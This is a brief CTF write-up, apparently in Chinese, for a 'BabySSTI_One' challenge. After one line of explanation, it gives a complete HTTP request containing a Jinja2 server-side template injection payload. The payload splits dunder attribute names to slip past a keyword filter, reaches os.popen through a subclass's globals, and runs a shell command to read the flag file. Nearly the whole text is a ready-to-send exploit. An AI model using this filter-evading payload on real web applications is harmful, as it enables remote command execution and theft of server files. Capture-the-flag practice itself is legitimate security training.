[WEEK3]BabySSTI_One

用字符串拼接绕过过滤,然后爆一下subclasses

GET /?name={{""['__cla'+'ss__']['__mr'+'o__'][1]['__sub'+'cla'+'sses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('fmt%20/f*').read()}} HTTP/1.1
Host: b2ddd123-81da-4cb4-99e0-bed566d755ae.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

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